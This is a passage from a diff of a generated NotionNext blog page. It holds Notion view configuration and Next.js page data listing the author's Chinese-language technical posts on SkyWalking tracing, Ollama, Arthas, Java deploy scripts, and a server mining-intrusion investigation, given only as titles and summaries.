211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"b7eb2157-2022-4ca5-827b-faa5ef82cf2d":{"value":{"id":"b7eb2157-2022-4ca5-827b-faa5ef82cf2d","version":217,"type":"table","name":"Table","format":{"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":219,"visible":true,"property":"title"},{"width":288,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":100,"visible":true,"property":"bB{M"},{"width":141,"visible":true,"property":"sD^m"},{"width":229,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"06f53161-8c9a-4e9c-8109-a8bd142a7b06"}},"parent_id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","8f4fe6b1-7a9e-43e0-bcfb-6edb50f10a62","571f2540-eb8a-42ee-84f5-85f1583430ae","f5dd304c-8c81-40dc-ba37-9c1d7399e15e","a6271da0-6b8f-47a3-9735-e8fa770f1d9f","4d7cafcd-57a4-4255-90c5-821a6f40dfe8","dc4f233c-5ec9-4ba8-b943-2e5e1f408ad6","db0e0da3-a27e-445c-9f69-9c95b33a52bc","4e12cb2c-d3f9-46aa-8e7e-c13084f7c79c","29fdb092-3dbf-4487-8f6b-6586958cfc67","87c18f9d-1c7e-47b0-89b9-fae9e38b6ce9","54ea2a2c-9b91-4457-8f20-d29ebe384529","21622ac5-95e6-455a-a91d-9d762a88963e","16500013-ac92-4537-9012-46d8ff7dae03","ce720858-10b7-4c0c-8083-906f29150a81","01cc4bd3-fe3b-456b-a08e-e961d83c7999","da988857-3ba9-4a63-9731-e849beb46705","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","b9e5afa7-db27-4aea-95fb-3fd5fcf81846","1e08ee78-d240-47cb-9d52-6a484b248543","0872b2f7-af7d-4f24-adf7-86f5d34dbc7b","18460a7c-3e63-4d7b-ad00-cf40ba77851c","0458d9a0-a64e-4837-bc75-f4a3f7853249","0ef279d4-d54a-4de3-9a5b-5603b461b586","f3550fb0-346c-4212-b57f-86433738b50b","de36fd0c-38fe-4b0c-b9d3-1c4389f599b2","bbeae7c7-f4ef-4f79-9c0d-6572636a9233","15a4fc06-381c-43a0-94f3-f89655b192da","55c03d34-3626-49d4-ac9d-6a455b2b6c93","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","1146ef63-aba8-4df5-a006-ba886ea87966","9057c4ad-2ef9-44a0-9bdd-c38daf735108","0bc55f01-2246-4cca-836d-266680bd9b5b","0bfc2813-a121-4fd1-a7bb-738f6357892c","d3a02583-75a2-402d-b0a1-4551c3837c7e","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"role":"reader"},"5010afdb-92b5-4f49-958b-0b8c900d6190":{"value":{"id":"5010afdb-92b5-4f49-958b-0b8c900d6190","version":11,"type":"gallery","name":"Post Gallery","format":{"gallery_cover":{"type":"page_cover"},"property_filters":[{"id":"e5e69a48-8053-4d20-9e5a-73e8b24dab16","filter":{"filter":{"value":{"type":"exact","value":"Post"},"operator":"enum_is"},"property":"`gQ~"}}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","parent_table":"block","alive":true,"space_id":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"role":"reader"},"a80c22ef-8b56-410d-af06-07615c5f2654":{"value":{"id":"a80c22ef-8b56-410d-af06-07615c5f2654","version":13,"type":"board","name":"Post Board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","parent_table":"block","alive":true,"space_id":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"role":"reader"},"e17348d8-5a80-4f02-813c-025b790d16c8":{"value":{"id":"e17348d8-5a80-4f02-813c-025b790d16c8","version":32,"type":"table","name":"Config","format":{"gallery_cover":{"type":"page_content"},"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"property_filters":[{"id":"b54a6c88-635d-4de4-946e-5a855a1f4069","filter":{"filter":{"value":[{"type":"exact","value":"Notice"},{"type":"exact","value":"Menu"},{"type":"exact","value":"Config"},{"type":"exact","value":"SubMenu"},{"type":"exact","value":"Page"}],"operator":"enum_is"},"property":"`gQ~"}}],"table_properties":[{"width":116,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":118,"visible":true,"property":"`gQ~"},{"width":219,"visible":true,"property":"title"},{"width":326,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"`gQ~"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"}],"table_frozen_column_index":-1,"table_subitem_toggle_column":"title"},"parent_id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","parent_table":"block","alive":true,"space_id":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"role":"reader"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},"next":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"recommendPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}]},"__N_SSG":true},"page":"/[prefix]/[slug]","query":{"prefix":"article","slug":"240119-notion"},"buildId":"xl8RIHPvivYKGN-nsdmr6","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"dynamicIds":[10635],"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
+              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-